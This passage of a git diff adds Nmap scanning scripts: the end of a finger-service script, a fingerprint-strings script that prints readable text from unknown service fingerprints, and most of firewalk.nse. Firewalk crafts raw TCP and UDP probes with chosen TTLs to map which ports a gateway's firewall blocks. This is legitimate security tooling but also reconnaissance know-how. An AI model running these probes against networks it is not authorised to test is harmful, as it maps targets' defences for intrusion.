+-- | Gutek Ange Gutek pts/1 18:54 Wed 06:20
+-- | Gutek Ange Gutek *pts/0 - Thu 00:41
+-- |_Gutek Ange Gutek *pts/4 3 Thu 01:06
+
+
+portrule = shortport.port_or_service(79, "finger")
+
+action = function(host, port)
+ local try = nmap.new_try()
+
+ return try(comm.exchange(host, port, "\r\n",
+ {lines=100, timeout=5000}))
+end
diff --git a/scripts/fingerprint-strings.nse b/scripts/fingerprint-strings.nse
new file mode 100644
index 0000000..727e47b
--- /dev/null
+++ b/scripts/fingerprint-strings.nse
@@ -0,0 +1,136 @@
+local stdnse = require "stdnse"
+local nmap = require "nmap"
+local lpeg = require "lpeg"
+local U = require "lpeg-utility"
+local table = require "table"
+local tableaux = require "tableaux"
+
+description = [[
+Prints the readable strings from service fingerprints of unknown services.
+
+Nmap's service and application version detection engine sends named probes to
+target services and tries to identify them based on the response. When there is
+no match, Nmap produces a service fingerprint for submission. Sometimes,
+inspecting this fingerprint can give clues as to the identity of the service.
+However, the fingerprint is encoded and wrapped to ensure it doesn't lose data,
+which can make it hard to read.
+
+This script simply unwraps the fingerprint and prints the readable ASCII strings
+it finds below the name of the probe it responded to. The probe names are taken
+from the nmap-service-probes file, not from the response.
+]]
+
+---
+--@usage
+-- nmap -sV --script fingerprint-strings <target>
+--
+--@output
+--| fingerprint-strings:
+--| DNSStatusRequest, GenericLines, LANDesk-RC, TLSSessionReq:
+--| bobo
+--| bobobo
+--| GetRequest, HTTPOptions, LPDString, NULL, RTSPRequest, giop, oracle-tns:
+--| bobobo
+--| Help, LDAPSearchReq, TerminalServer:
+--| bobobo
+--| bobobo
+--| Kerberos, NotesRPC, SIPOptions:
+--| bobo
+--| LDAPBindReq:
+--| bobobo
+--| bobo
+--| bobobo
+--| SSLSessionReq, SSLv23SessionReq:
+--| bobo
+--| bobobo
+--| bobo
+--| afp:
+--| bobo
+--|_ bobo
+--
+--@args fingerprint-strings.n The number of printable ASCII characters required to make up a "string" (Default: 4)
+
+author = "Daniel Miller"
+categories = {"version"}
+
+portrule = function (host, port)
+ -- Run for any port that has a service fingerprint indicating an unknown service
+ -- OK to run at any version intensity (e.g. not checking nmap.version_intensity)
+ -- because no traffic is sent and lower intensity is more likely to not match.
+ return port.version and port.version.service_fp
+end
+
+-- Create a table if necessary and append to it
+local function safe_append (t, v)
+ if t then
+ t[#t+1] = v
+ else
+ t = {v}
+ end
+ return t
+end
+
+-- Extract strings of length n or greater.
+local function strings (blob, n)
+ local pat = lpeg.P {
+ (lpeg.V "plain" + lpeg.V "skip")^1,
+ -- Collect long-enough string of printable and space characters
+ plain = (lpeg.R "\x21\x7e" + lpeg.V "space")^n,
+ -- Collapse white space
+ space = (lpeg.S " \t"^1)/" ",
+ -- Skip anything else
+ skip = ((lpeg.R "\x21\x7e"^-(n-1) * (lpeg.R "\0 " + lpeg.R "\x7f\xff")^1)^1)/"\n ",
+ }
+ return lpeg.match(lpeg.Cs(pat), blob)
+end
+
+action = function(host, port)
+ -- Get the table of probe responses
+ local responses = U.parse_fp(port.version.service_fp)
+ -- extract the probe names
+ local probes = tableaux.keys(responses)
+ -- If there were no probes (WEIRD!) we're done.
+ if #probes <= 0 then
+ return nil
+ end
+
+ local min = stdnse.get_script_args(SCRIPT_NAME .. ".n") or 4
+
+ -- Ensure probes show up in the same order every time
+ table.sort(probes)
+ local invert = {}
+ for i=1, #probes do
+ -- Extract the strings from this probe
+ local plain = strings(responses[probes[i]], min)
+ if plain then
+ -- rearrange some whitespace to look nice
+ plain = plain:gsub("^[\n ]*", "\n "):gsub("[\n ]+$", "")
+ -- Gather all the probes that had this same set of strings.
+ if plain ~= "" then
+ invert[plain] = safe_append(invert[plain], probes[i])
+ end
+ end
+ end
+
+ -- If none of the probes had sufficiently long strings, then we're done.
+ if not next(invert) then
+ return nil
+ end
+
+ -- Now reverse the representation so that strings are listed under probes
+ local labels = {}
+ local lookup = {}
+ for plain, plist in pairs(invert) do
+ local label = table.concat(plist, ", ")
+ labels[#labels+1] = label
+ lookup[label] = plain
+ end
+ -- Always keep sorted order!
+ table.sort(labels)
+ local out = stdnse.output_table()
+ for i=1, #labels do
+ out[labels[i]] = lookup[labels[i]]
+ end
+ -- XML output will not be very useful because this is intended for users eyes only.
+ return out
+end
diff --git a/scripts/firewalk.nse b/scripts/firewalk.nse
new file mode 100644
index 0000000..31b4d31
--- /dev/null
+++ b/scripts/firewalk.nse
@@ -0,0 +1,1062 @@
+local ipOps = require "ipOps"
+local math = require "math"
+local nmap = require "nmap"
+local packet = require "packet"
+local stdnse = require "stdnse"
+local tab = require "tab"
+local table = require "table"
+
+description = [[
+Tries to discover firewall rules using an IP TTL expiration technique known
+as firewalking.
+
+To determine a rule on a given gateway, the scanner sends a probe to a metric
+located behind the gateway, with a TTL one higher than the gateway. If the probe
+is forwarded by the gateway, then we can expect to receive an ICMP_TIME_EXCEEDED
+reply from the gateway next hop router, or eventually the metric itself if it is
+directly connected to the gateway. Otherwise, the probe will timeout.
+
+It starts with a TTL equals to the distance to the target. If the probe timeout,
+then it is resent with a TTL decreased by one. If we get an ICMP_TIME_EXCEEDED,
+then the scan is over for this probe.
+
+Every "no-reply" filtered TCP and UDP ports are probed. As for UDP scans, this
+process can be quite slow if lots of ports are blocked by a gateway close to the
+scanner.
+
+Scan parameters can be controlled using the <code>firewalk.*</code>
+optional arguments.
+
+From an original idea of M. Schiffman and D. Goldsmith, authors of the
+firewalk tool.
+]]
+
+
+---
+-- @usage
+-- nmap --script=firewalk --traceroute <host>
+--
+-- @usage
+-- nmap --script=firewalk --traceroute --script-args=firewalk.max-retries=1 <host>
+--
+-- @usage
+-- nmap --script=firewalk --traceroute --script-args=firewalk.probe-timeout=400ms <host>
+--
+-- @usage
+-- nmap --script=firewalk --traceroute --script-args=firewalk.max-probed-ports=7 <host>
+--
+--
+-- @args firewalk.max-retries the maximum number of allowed retransmissions.
+-- @args firewalk.recv-timeout the duration of the packets capture loop (in milliseconds).
+-- @args firewalk.probe-timeout validity period of a probe (in milliseconds).
+-- @args firewalk.max-active-probes maximum number of parallel active probes.
+-- @args firewalk.max-probed-ports maximum number of ports to probe per protocol. Set to -1 to scan every filtered port.
+--
+--
+-- @output
+-- | firewalk:
+-- | HOP HOST PROTOCOL BLOCKED PORTS
+-- | 2 192.168.1.1 tcp 21-23,80
+-- | udp 21-23,80
+-- | 6 10.0.1.1 tcp 67-68
+-- | 7 10.0.1.254 tcp 25
+-- |_ udp 25
+--
+--
+
+
+-- 11/29/2010: initial version
+-- 03/28/2011: added IPv4 check
+-- 01/02/2012: added IPv6 support
+
+author = "Henri Doreau"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"safe", "discovery"}
+
+
+-- TODO
+-- o add an option to select gateway(s)/TTL(s) to probe
+-- o remove traceroute dependency
+
+
+
+
+-----= scan parameters defaults =-----
+
+-- number of retries for unanswered probes
+local DEFAULT_MAX_RETRIES = 2
+
+-- packets capture loop timeout in milliseconds
+local DEFAULT_RECV_TIMEOUT = 20
+
+-- probe life time in milliseconds
+local DEFAULT_PROBE_TIMEOUT = 2000
+
+-- max number of simultaneously neither replied nor timed out probes
+local DEFAULT_MAX_ACTIVE_PROBES = 20
+
+-- maximum number of probed ports per protocol
+local DEFAULT_MAX_PROBED_PORTS = 10
+
+----------------------------------------
+
+
+
+-- global scan parameters
+local MaxRetries
+local RecvTimeout
+local ProbeTimeout
+local MaxActiveProbes
+local MaxProbedPorts
+
+-- cache ports to probe between the hostrule and the action function
+local FirewalkPorts
+
+
+-- ICMP constants
+local ICMP_TIME_EXCEEDEDv4 = 11
+local ICMP_TIME_EXCEEDEDv6 = 03
+
+
+
+-- Layer 4 specific function tables
+local proto_vtable = {}
+
+-- Layer 3 specific function tables for the scanner
+local Firewalk = {}
+
+
+--- lookup for TTL of a given gateway in a traceroute results table
+-- @param traceroute a host traceroute results table
+-- @param gw the IP address of the gateway (as a decimal-dotted string)
+-- @return the TTL of the gateway or -1 on error
+local function gateway_ttl(traceroute, gw)
+
+ for ttl, hop in ipairs(traceroute) do
+ -- check hop.ip ~= nil as timedout hops are represented by empty tables
+ if hop.ip and hop.ip == gw then
+ return ttl
+ end
+ end
+
+ return -1
+end
+
+--- get the protocol name given its "packet" value
+-- @param proto the protocol value (eg. packet.IPPROTO_*)
+-- @return the protocol name as a string
+local function proto2str(proto)
+
+ if proto == packet.IPPROTO_TCP then
+ return "tcp"
+ elseif proto == packet.IPPROTO_UDP then
+ return "udp"
+ end
+
+ return nil
+end
+
+
+--=
+-- Protocol specific functions are broken down per protocol, in separate tables.
+-- This design eases the addition of new protocols.
+--
+-- Layer 4 (TCP, UDP) tables are duplicated to distinguish IPv4 and IPv6
+-- versions.
+--=
+
+--- TCP related functions (IPv4 versions)
+local tcp_funcs_v4 = {
+
+ --- update the global scan status with a reply
+ -- @param scanner the scanner handle
+ -- @param ip the ICMP time exceeded error packet
+ -- @param ip2 the ICMP payload (our original expired probe)
+ update_scan = function(scanner, ip, ip2)
+
+ local port = ip2.tcp_dport
+
+ if port and scanner.ports.tcp[port] then
+
+ stdnse.debug1("Marking port %d/tcp v4 as forwarded (reply from %s)", ip2.tcp_dport, ip.ip_src)
+
+ -- mark the gateway as forwarding the packet
+ scanner.ports.tcp[port].final_ttl = gateway_ttl(scanner.target.traceroute, ip.ip_src)
+ scanner.ports.tcp[port].scanned = true
+
+ -- remove the related probe
+ for i, probe in ipairs(scanner.active_probes) do
+ if probe.proto == "tcp" and probe.portno == ip2.tcp_dport then
+ table.remove(scanner.active_probes, i)
+ end
+ end
+
+ else
+ stdnse.debug1("Invalid reply to port %d/tcp", ip2.tcp_dport)
+ end
+ end,
+
+ --- create a TCP probe packet
+ -- @param host Host object that represents the destination
+ -- @param dport the TCP destination port
+ -- @param ttl the IP time to live
+ -- @return the newly crafted IP packet
+ getprobe = function(host, dport, ttl)
+ local pktbin = stdnse.fromhex(
+ "4500 0014 0000 4000 8000 0000 0000 0000 0000 0000" ..
+ "0000 0000 0000 0000 0000 0000 6002 0c00 0000 0000 0204 05b4"
+ )
+
+ local ip = packet.Packet:new(pktbin, pktbin:len())
+
+ ip:tcp_parse(false)
+ ip:ip_set_bin_src(host.bin_ip_src)
+ ip:ip_set_bin_dst(host.bin_ip)
+
+ ip:set_u8(ip.ip_offset + 9, packet.IPPROTO_TCP)
+ ip.ip_p = packet.IPPROTO_TCP
+ ip:ip_set_len(pktbin:len())
+
+ ip:tcp_set_sport(math.random(0x401, 0xffff))
+ ip:tcp_set_dport(dport)
+ ip:tcp_set_seq(math.random(1, 0x7fffffff))
+ ip:tcp_count_checksum()
+ ip:ip_set_ttl(ttl)
+ ip:ip_count_checksum()
+
+ return ip
+ end,
+
+}
+
+-- UDP related functions (IPv4 versions)
+local udp_funcs_v4 = {
+
+ --- update the global scan status with a reply
+ -- @param scanner the scanner handle
+ -- @param ip the ICMP time exceeded error packet
+ -- @param ip2 the ICMP payload (our original expired probe)
+ update_scan = function(scanner, ip, ip2)
+
+ local port = ip2.udp_dport
+
+ if port and scanner.ports.udp[port] then
+
+ stdnse.debug1("Marking port %d/udp v4 as forwarded", ip2.udp_dport)
+
+ -- mark the gateway as forwarding the packet
+ scanner.ports.udp[port].final_ttl = gateway_ttl(scanner.target.traceroute, ip.ip_src)
+ scanner.ports.udp[port].scanned = true
+
+ for i, probe in ipairs(scanner.active_probes) do
+ if probe.proto == "udp" and probe.portno == ip2.udp_dport then
+ table.remove(scanner.active_probes, i)
+ end
+ end
+
+ else
+ stdnse.debug1("Invalid reply to port %d/udp", ip2.udp_dport)
+ end
+
+ end,
+
+ --- create a generic UDP probe packet, with IP ttl and destination port set to zero
+ -- @param host Host object that represents the destination
+ -- @param dport the UDP destination port
+ -- @param ttl the IP time to live
+ -- @return the newly crafted IP packet
+ getprobe = function(host, dport, ttl)
+ local pktbin = stdnse.fromhex(
+ "4500 0014 0000 4000 8000 0000 0000 0000 0000 0000" ..
+ "0000 0000 0800 0000"
+ )
+
+ local ip = packet.Packet:new(pktbin, pktbin:len())
+
+ ip:udp_parse(false)
+ ip:ip_set_bin_src(host.bin_ip_src)
+ ip:ip_set_bin_dst(host.bin_ip)
+
+ ip:set_u8(ip.ip_offset + 9, packet.IPPROTO_UDP)
+ ip.ip_p = packet.IPPROTO_UDP
+ ip:ip_set_len(pktbin:len())
+
+ ip:udp_set_sport(math.random(0x401, 0xffff))
+ ip:udp_set_dport(dport)
+ ip:udp_set_length(ip.ip_len - ip.ip_hl * 4)
+ ip:udp_count_checksum()
+ ip:ip_set_ttl(ttl)
+ ip:ip_count_checksum()
+
+ return ip
+ end,
+}
+
+--- TCP related functions (IPv6 versions)
+local tcp_funcs_v6 = {
+
+ --- update the global scan status with a reply
+ -- @param scanner the scanner handle
+ -- @param ip the ICMP time exceeded error packet
+ -- @param ip2 the ICMP payload (our original expired probe)
+ update_scan = function(scanner, ip, ip2)
+
+ local port = ip2.tcp_dport
+
+ if port and scanner.ports.tcp[port] then
+
+ stdnse.debug1("Marking port %d/tcp v6 as forwarded (reply from %s)", ip2.tcp_dport, ip.ip_src)
+
+ -- mark the gateway as forwarding the packet
+ scanner.ports.tcp[port].final_ttl = gateway_ttl(scanner.target.traceroute, ip.ip_src)
+ scanner.ports.tcp[port].scanned = true
+
+ -- remove the related probe
+ for i, probe in ipairs(scanner.active_probes) do
+ if probe.proto == "tcp" and probe.portno == ip2.tcp_dport then
+ table.remove(scanner.active_probes, i)
+ end
+ end
+
+ else
+ stdnse.debug1("Invalid reply to port %d/tcp", ip2.tcp_dport)
+ end
+ end,
+
+ --- create a TCP probe packet
+ -- @param host Host object that represents the destination
+ -- @param dport the TCP destination port
+ -- @param ttl the IP time to live
+ -- @return the newly crafted IP packet
+ getprobe = function(host, dport, ttl)
+ local pktbin = stdnse.fromhex(
+ "4500 0014 0000 4000 8000 0000 0000 0000 0000 0000" ..
+ "0000 0000 0000 0000 0000 0000 6002 0c00 0000 0000 0204 05b4"
+ )
+
+ local tcp = packet.Packet:new(pktbin, pktbin:len())
+ local ip = packet.Packet:new()
+
+ tcp:tcp_parse(false)
+
+ tcp:tcp_set_sport(math.random(0x401, 0xffff))
+ tcp:tcp_set_dport(dport)
+ tcp:tcp_set_seq(math.random(1, 0x7fffffff))
+ tcp:tcp_count_checksum()
+ tcp:ip_count_checksum()
+
+ -- Extract layer 4 part and add it as payload to the IP packet
+ local tcp_buf = tcp.buf:sub(tcp.tcp_offset + 1, tcp.buf:len())
+ ip:build_ipv6_packet(host.bin_ip_src, host.bin_ip, packet.IPPROTO_TCP, tcp_buf, ttl)
+
+ return ip
+ end,
+
+}
+
+-- UDP related functions (IPv6 versions)
+local udp_funcs_v6 = {
+
+ --- update the global scan status with a reply
+ -- @param scanner the scanner handle
+ -- @param ip the ICMP time exceeded error packet
+ -- @param ip2 the ICMP payload (our original expired probe)
+ update_scan = function(scanner, ip, ip2)
+
+ local port = ip2.udp_dport
+
+ if port and scanner.ports.udp[port] then
+
+ stdnse.debug1("Marking port %d/udp v6 as forwarded (reply from %s)", ip2.udp_dport, ip2.ip_src)
+
+ -- mark the gateway as forwarding the packet
+ scanner.ports.udp[port].final_ttl = gateway_ttl(scanner.target.traceroute, ip.ip_src)
+ scanner.ports.udp[port].scanned = true
+
+ for i, probe in ipairs(scanner.active_probes) do
+ if probe.proto == "udp" and probe.portno == ip2.udp_dport then
+ table.remove(scanner.active_probes, i)
+ end
+ end
+
+ else
+ stdnse.debug1("Invalid reply to port %d/udp", ip2.udp_dport)
+ end
+
+ end,
+
+ --- create a generic UDP probe packet, with IP ttl and destination port set to zero
+ -- @param host Host object that represents the destination
+ -- @param dport the UDP destination port
+ -- @param ttl the IP time to live
+ -- @return the newly crafted IP packet
+ getprobe = function(host, dport, ttl)
+ local pktbin = stdnse.fromhex(
+ "4500 0014 0000 4000 8000 0000 0000 0000 0000 0000" ..
+ "0000 0000 0800 0000"
+ )
+
+ local udp = packet.Packet:new(pktbin, pktbin:len())
+ local ip = packet.Packet:new()
+
+ udp:udp_parse(false)
+
+ udp:udp_set_sport(math.random(0x401, 0xffff))
+ udp:udp_set_dport(dport)
+ udp:udp_set_length(8)
+ udp:udp_count_checksum()
+ udp:ip_count_checksum()
+
+ -- Extract layer 4 part and add it as payload to the IP packet
+ local udp_buf = udp.buf:sub(udp.udp_offset + 1, udp.buf:len())
+ ip:build_ipv6_packet(host.bin_ip_src, host.bin_ip, packet.IPPROTO_UDP, udp_buf, ttl)
+
+ return ip
+ end,
+}
+
+
+
+--=
+-- IP-specific functions. The following tables provides scanner functions that
+-- depend on the IP version.
+--=
+
+
+-- IPv4 functions
+local Firewalk_v4 = {
+
+ --- IPv4 initialization function. Open injection and reception sockets.
+ -- @param scanner the scanner handle
+ init = function(scanner)
+ local saddr = ipOps.str_to_ip(scanner.target.bin_ip_src)
+
+ scanner.sock = nmap.new_dnet()
+ scanner.pcap = nmap.new_socket()
+
+ -- filter for incoming ICMP time exceeded replies
+ scanner.pcap:pcap_open(scanner.target.interface, 104, false, "icmp and dst host " .. saddr)
+
+ local try = nmap.new_try()
+ try(scanner.sock:ip_open())
+ end,
+
+ --- IPv4 cleanup function. Close injection and reception sockets.
+ -- @param scanner the scanner handle
+ shutdown = function(scanner)
+ scanner.sock:ip_close()
+ scanner.pcap:pcap_close()
+ end,
+
+ --- check whether an incoming IP packet is an ICMP TIME_EXCEEDED packet or not
+ -- @param src the source IP address
+ -- @param layer3 the IP incoming datagram
+ -- @return whether the packet seems to be a valid reply or not
+ check = function(src, layer3)
+ local ip = packet.Packet:new(layer3, layer3:len())
+ return ip.ip_bin_dst == src
+ and ip.ip_p == packet.IPPROTO_ICMP
+ and ip.icmp_type == ICMP_TIME_EXCEEDEDv4
+ end,
+
+ --- update global state with an incoming reply
+ -- @param scanner the scanner handle
+ -- @param pkt an incoming valid IP packet
+ parse_reply = function(scanner, pkt)
+ local ip = packet.Packet:new(pkt, pkt:len())
+
+ if ip.ip_p ~= packet.IPPROTO_ICMP or ip.icmp_type ~= ICMP_TIME_EXCEEDEDv4 then
+ return
+ end
+
+ local is = ip.buf:sub(ip.icmp_offset + 9)
+ local ip2 = packet.Packet:new(is, is:len(), true)
+
+ -- check ICMP payload
+ if ip2.ip_bin_src == scanner.target.bin_ip_src and
+ ip2.ip_bin_dst == scanner.target.bin_ip then
+
+ -- layer 4 checks
+ local proto_func = proto_vtable[proto2str(ip2.ip_p)]
+ if proto_func then
+ -- mark port as forwarded and discard any related pending probes
+ proto_func.update_scan(scanner, ip, ip2)
+ else
+ stdnse.debug1("Invalid protocol for reply (%d)", ip2.ip_p)
+ end
+ end
+ end,
+}
+
+
+-- IPv6 functions
+local Firewalk_v6 = {
+
+ --- IPv6 initialization function. Open injection and reception sockets.
+ -- @param scanner the scanner handle
+ init = function(scanner)
+ local saddr = ipOps.str_to_ip(scanner.target.bin_ip_src)
+
+ scanner.sock = nmap.new_dnet()
+ scanner.pcap = nmap.new_socket()
+
+ -- filter for incoming ICMP time exceeded replies
+ scanner.pcap:pcap_open(scanner.target.interface, 1500, false, "icmp6 and dst host " .. saddr)
+
+ local try = nmap.new_try()
+ try(scanner.sock:ip_open())
+ end,
+
+ --- IPv6 cleanup function. Close injection and reception sockets.
+ -- @param scanner the scanner handle
+ shutdown = function(scanner)
+ scanner.sock:ip_close()
+ scanner.pcap:pcap_close()
+ end,
+
+ --- check whether an incoming IP packet is an ICMP TIME_EXCEEDED packet or not
+ -- @param src the source IP address
+ -- @param layer3 the IP incoming datagram
+ -- @return whether the packet seems to be a valid reply or not
+ check = function(src, layer3)
+ local ip = packet.Packet:new(layer3)
+ return ip.ip_bin_dst == src
+ and ip.ip_p == packet.IPPROTO_ICMPV6
+ and ip.icmpv6_type == ICMP_TIME_EXCEEDEDv6
+ end,
+
+ --- update global state with an incoming reply
+ -- @param scanner the scanner handle
+ -- @param pkt an incoming valid IP packet
+ parse_reply = function(scanner, pkt)
+ local ip = packet.Packet:new(pkt)
+
+ if ip.ip_p ~= packet.IPPROTO_ICMPV6 or ip.icmpv6_type ~= ICMP_TIME_EXCEEDEDv6 then
+ return
+ end
+
+ local is = ip.buf:sub(ip.icmpv6_offset + 9, ip.buf:len())
+ local ip2 = packet.Packet:new(is)
+
+ -- check ICMP payload
+ if ip2.ip_bin_src == scanner.target.bin_ip_src and
+ ip2.ip_bin_dst == scanner.target.bin_ip then
+
+ -- layer 4 checks
+ local proto_func = proto_vtable[proto2str(ip2.ip_p)]
+ if proto_func then
+ -- mark port as forwarded and discard any related pending probes
+ proto_func.update_scan(scanner, ip, ip2)
+ else
+ stdnse.debug1("Invalid protocol for reply (%d)", ip2.ip_p)
+ end
+ end
+ end,
+}
+
+--- Initialize global function tables according to the current address family
+local function firewalk_init()
+ if nmap.address_family() == "inet" then
+ proto_vtable.tcp = tcp_funcs_v4
+ proto_vtable.udp = udp_funcs_v4
+ Firewalk = Firewalk_v4
+ else
+ proto_vtable.tcp = tcp_funcs_v6
+ proto_vtable.udp = udp_funcs_v6
+ Firewalk = Firewalk_v6
+ end
+end
+
+--- generate list of ports to probe
+-- @param host the destination host object
+-- @return an array of the ports to probe, sorted per protocol
+local function build_portlist(host)
+ local portlist = {}
+ local combos = {
+ {"tcp", "filtered"},
+ {"udp", "open|filtered"}
+ }
+
+ for _, combo in ipairs(combos) do
+ local i = 0
+ local port = nil
+ local proto = combo[1]
+ local state = combo[2]
+
+ repeat
+ port = nmap.get_ports(host, port, proto, state)
+
+ -- do not include administratively prohibited ports
+ if port and port.reason == "no-response" then
+ local pentry = {
+ final_ttl = 0, -- TTL of the blocking gateway
+ scanned = false, -- initial state: unprobed
+ }
+
+ portlist[proto] = portlist[proto] or {}
+
+ portlist[proto][port.number] = pentry
+ i = i + 1
+ end
+
+ until not port or i == MaxProbedPorts
+ end
+
+ return portlist
+
+end
+
+--- wrapper for stdnse.parse_timespec() to get specified value in milliseconds
+-- @param spec the time specification string (like "10s", "120ms"...)
+-- @return the equivalent number of milliseconds or nil on failure
+local function parse_timespec_ms(spec)
+ local t = stdnse.parse_timespec(spec)
+ if t then
+ return t * 1000
+ else
+ return nil
+ end
+end
+
+--- set scan parameters using user values if specified or defaults otherwise
+local function getopts()
+
+ -- assign parameters to scan constants or use defaults
+
+ MaxRetries = tonumber(stdnse.get_script_args("firewalk.max-retries")) or DEFAULT_MAX_RETRIES
+
+ MaxActiveProbes = tonumber(stdnse.get_script_args("firewalk.max-active-probes")) or DEFAULT_MAX_ACTIVE_PROBES
+
+ MaxProbedPorts = tonumber(stdnse.get_script_args("firewalk.max-probed-ports")) or DEFAULT_MAX_PROBED_PORTS
+
+
+ -- use stdnse time specification parser for ProbeTimeout and RecvTimeout
+
+ local timespec = stdnse.get_script_args("firewalk.recv-timeout")
+
+ if timespec then
+
+ RecvTimeout = parse_timespec_ms(timespec)
+
+ if not RecvTimeout then
+ stdnse.debug1("Invalid time specification for option: firewalk.recv-timeout (%s)", timespec)
+ return false
+ end
+
+ else
+ -- no value supplied: use default
+ RecvTimeout = DEFAULT_RECV_TIMEOUT
+ end
+
+
+ timespec = stdnse.get_script_args("firewalk.probe-timeout")
+
+ if timespec then
+
+ ProbeTimeout = parse_timespec_ms(timespec)
+
+ if not ProbeTimeout then
+ stdnse.debug1("Invalid time specification for option: firewalk.probe-timeout (%s)", timespec)
+ return false
+ end
+
+ else
+ -- no value supplied: use default
+ ProbeTimeout = DEFAULT_PROBE_TIMEOUT
+ end
+
+ return true
+
+end
+
+--- host rule, check for requirements before to launch the script
+hostrule = function(host)
+ if not nmap.is_privileged() then
+ nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
+ if not nmap.registry[SCRIPT_NAME].rootfail then
+ stdnse.verbose1("not running for lack of privileges.")
+ end
+ nmap.registry[SCRIPT_NAME].rootfail = true
+ return false
+ end
+
+ if not host.interface then
+ return false
+ end
+
+ -- assign user's values to scan parameters or use defaults
+ if not getopts() then
+ return false
+ end
+
+ -- get the list of ports to probe
+ FirewalkPorts = build_portlist(host)
+
+ -- schedule the execution if there are filtered ports to probe
+ return (next(FirewalkPorts) ~= nil)
+
+end
+
+--- return the initial TTL to use (the one of the last gateway before the target)
+-- @param host the object representing the target with traceroute results available
+-- @return the IP TTL of the last gateway before the target
+local function initial_ttl(host)
+
+ if not host.traceroute then
+ if not nmap.registry['firewalk'] then
+ nmap.registry['firewalk'] = {}
+ end
+
+ if nmap.registry['firewalk']['traceroutefail'] then
+ return nil
+ end
+
+ nmap.registry['firewalk']['traceroutefail'] = true
+
+ if nmap.verbosity() > 0 then
+ stdnse.debug1("requires unavailable traceroute information.")
+ end
+
+ return nil
+ end
+
+ stdnse.debug1("Using ttl %d", #host.traceroute)
+ return #host.traceroute
+end
+
+--- convert an array of ports into a port ranges string like "x,y-z"
+-- @param ports an array of numbers
+-- @return a string representing the ports as folded ranges
+local function portrange(ports)
+
+ table.sort(ports)
+ local numranges = {}
+
+ if #ports == 0 then
+ return "(none found)"
+ end
+
+ for _, p in ipairs(ports) do
+
+ local stored = false
+
+ -- iterate over the ports list
+ for k, range in ipairs(numranges) do
+
+ -- increase an existing range by the left
+ if p == range["start"] - 1 then
+ numranges[k]["start"] = p
+ stored = true
+
+ -- increase an existing range by the right
+ elseif p == range["stop"] + 1 then
+ numranges[k]["stop"] = p
+ stored = true
+
+ -- port contained in an already existing range (catch doublons)
+ elseif p >= range["start"] and p <= range["stop"] then
+ stored = true
+ end
+
+ end
+
+ -- start a new range
+ if not stored then
+ local range = {}
+ range["start"] = p
+ range["stop"] = p
+ table.insert(numranges, range)
+ end
+
+ end
+
+ -- stringify the ranges
+ local strrange = {}
+ for i, val in ipairs(numranges) do
+
+ local start = tostring(val["start"])
+ local stop = tostring(val["stop"])
+
+ if start == stop then
+ table.insert(strrange, start)
+ else
+ -- contiguous ranges are represented as x-z
+ table.insert(strrange, start .. "-" .. stop)
+ end
+ end
+
+ -- ranges are delimited by `,'
+ return table.concat(strrange, ",")
+
+end
+
+--- return a printable report of the scan
+-- @param scanner the scanner handle
+-- @return a printable table of scan results
+local function report(scanner)
+ local entries = 0
+ local output = tab.new(4)
+
+ tab.add(output, 1, "HOP")
+ tab.add(output, 2, "HOST")
+ tab.add(output, 3, "PROTOCOL")
+ tab.add(output, 4, "BLOCKED PORTS")
+ tab.nextrow(output)
+
+ -- duplicate traceroute results and add localhost at the beginning
+ local path = {
+ -- XXX 'localhost' might be a better choice?
+ {ip = ipOps.str_to_ip(scanner.target.bin_ip_src)}
+ }
+
+ for _, v in pairs(scanner.target.traceroute) do
+ table.insert(path, v)
+ end
+
+
+ for ttl = 0, #path - 1 do
+ local fwdedports = {}
+
+ for proto, portlist in pairs(scanner.ports) do
+ fwdedports[proto] = {}
+
+ for portno, port in pairs(portlist) do
+
+ if port.final_ttl == ttl then
+ table.insert(fwdedports[proto], portno)
+ end
+ end
+ end
+
+
+ local nb_fports = 0
+
+ for _, proto in pairs(fwdedports) do
+ for _ in pairs(proto) do
+ nb_fports = nb_fports + 1
+ end
+ end
+
+ if nb_fports > 0 then
+
+ entries = entries + 1
+
+ -- the blocking gateway is just after the last forwarding one
+ tab.add(output, 1, tostring(ttl))
+
+ -- timedout traceroute hops are represented by empty tables
+ if path[ttl + 1].ip then
+ tab.add(output, 2, path[ttl + 1].ip)
+ else
+ tab.add(output, 2, "???")
+ end
+
+ for proto, ports in pairs(fwdedports) do
+ if #fwdedports[proto] > 0 then
+ tab.add(output, 3, proto)
+ tab.add(output, 4, portrange(ports))
+ tab.nextrow(output)
+ end
+ end
+ end
+ end
+
+ if entries > 0 then
+ return "\n" .. tab.dump(output)
+ else
+ return "None found"
+ end
+end
+
+--- check whether the scan is finished or not
+-- @param scanner the scanner handle
+-- @return if some port is still in unknown state
+local function finished(scanner)
+
+ for proto, ports in pairs(scanner.ports) do
+
+ -- ports are sorted per protocol
+ for _, port in pairs(ports) do
+
+ -- if a port is still unprobed => we're not done!
+ if not port.scanned then
+ return false
+ end
+ end
+ end
+
+ -- every ports have been scanned
+ return true
+end
+
+--- send a probe and update it
+-- @param scanner the scanner handle
+-- @param probe the probe specifications and related information
+local function send_probe(scanner, probe)
+
+ local try = nmap.new_try(function() scanner.sock:ip_close() end)
+
+ stdnse.debug1("Sending new probe (%d/%s ttl=%d)", probe.portno, probe.proto, probe.ttl)
+
+ -- craft the raw packet
+ local pkt = proto_vtable[probe.proto].getprobe(scanner.target, probe.portno, probe.ttl)
+
+ try(scanner.sock:ip_send(pkt.buf, scanner.target))
+
+ -- update probe information
+ probe.retry = probe.retry + 1
+ probe.sent_time = nmap.clock_ms()
+
+end
+
+--- send some new probes
+-- @param scanner the scanner handle
+local function send_next_probes(scanner)
+
+ -- this prevents sending too much probes at the same time
+ while #scanner.active_probes < MaxActiveProbes do
+
+ local probe
+ -- perform resends
+ if #scanner.pending_resends > 0 then
+
+ probe = scanner.pending_resends[1]
+ table.remove(scanner.pending_resends, 1)
+ table.insert(scanner.active_probes, probe)
+ send_probe(scanner, probe)
+
+ -- send new probes
+ elseif #scanner.sendqueue > 0 then
+
+ probe = scanner.sendqueue[1]
+ table.remove(scanner.sendqueue, 1)
+ table.insert(scanner.active_probes, probe)
+ send_probe(scanner, probe)
+
+ -- nothing else to send right now
+ else
+ return
+ end
+ end
+
+end
+
+--- wait for incoming replies
+-- @param scanner the scanner handle
+local function read_replies(scanner)
+
+ -- capture loop
+ local timeout = RecvTimeout
+ repeat
+
+ local start = nmap.clock_ms()
+
+ scanner.pcap:set_timeout(timeout)
+
+ local status, _, _, l3, _ = scanner.pcap:pcap_receive()
+
+ if status and Firewalk.check(scanner.target.bin_ip_src, l3) then
